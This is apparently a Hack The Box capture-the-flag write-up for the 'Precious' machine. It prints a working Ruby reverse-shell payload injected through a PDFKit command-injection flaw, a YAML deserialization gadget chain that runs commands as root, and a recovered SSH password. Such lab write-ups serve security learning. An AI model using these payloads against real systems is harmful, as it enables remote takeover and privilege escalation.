Hack The Box - Precious - Easy Machine
Introduction
Precious is an easy-level Linux machine on Hack The Box. It has been more than 50 days since its release, it’s not the most recent machine but it’s an interesting one in my opinion.
My work environment for hacking this machine:
- Ubuntu 20.04 LTS with some hacking tools installed
- An Exegol instance
User flag
Nmap scan
I can identify two open ports: the http port (80) and the ssh port (22). If I look at the website hosted on precious.htb, I see the following content:
It seems to be a website which converts web pages to PDF format. Moreover, by checking the HTTP response header, I’ve obtained an idea of the used technologies: Ruby as programming language and Nginx + Phusion Passenger as server infrastructure.
So, after directory enumeration with Dirbuster and a scan with Nikto without success, I’ve looked for PDF conversion of web pages in Ruby, and I’ve found this article: Link
According to this article, there are two options with Ruby on Rails to convert web pages to PDF:
- PDFKit
- WickedPDF
A couple of popular gems to convert HTML to PDF in Rails are PDFKit and WickedPDF.
They both use a command line utility called wkhtmltopdf under the hood; which uses WebKit to render a PDF from HTML.
After a brief search, I’ve identified the disponibility of an exploit for command injection in PDFKit (CVE-2022-25765), with this link.
PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf
I can inject a reverse shell with the following payload in the url :
http://precious.htb/?url=#{'%20`ruby -rsocket -e'exit if fork;c=TCPSocket.new("YOUR_IP","YOUR_PORT");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'`'}
And… SUCCESS!! I have the reverse shell and it was pretty easy!
In the config files we have nothing interesting:
Let’s take a look to /home directory for user flag:
The user.txt file is in /home/henry but I’m logged as ruby, so I don’t have the permission to read user.txt file. However, there is an interesting thing in /home/ruby/.bundle/config file, it seems to be Henry’s ssh credentials.
henry:Q3c1AqGHtoI0aXAYFH
And yes, actually, it’s Henry’s ssh credentials! I can read the user flag now:
Root flag
Let’s check the privesc vectors in order to get the root flag in /root/root.txt.
With sudo -l I can affirm that Henry can execute the update_dependencies.rb file as super user with the following command sudo /usr/bin/ruby /opt/update_dependencies.rb, and after checking this file, I’ve found an injection point.
update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Injection point
YAML.load(File.read("dependencies.ml"))
But what can I write into dependencies.ml for being able to read the root flag?
After some searchs, I’ve found that YAML.load() function is vulnerable to code injection due to inescrure deserialization, and that there is a payload to exploit this vulnerability in the famous PayloadAllTheThings GitHub repo (Link).
For being able to execute commands as root, I’ve written this piece of yaml code in a file named dependencies.ml:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: cat /root/root.txt
method_id: :resolve
The git_set parameter is the command that we want to execute, and thanks to this payload we can finally get the root flag!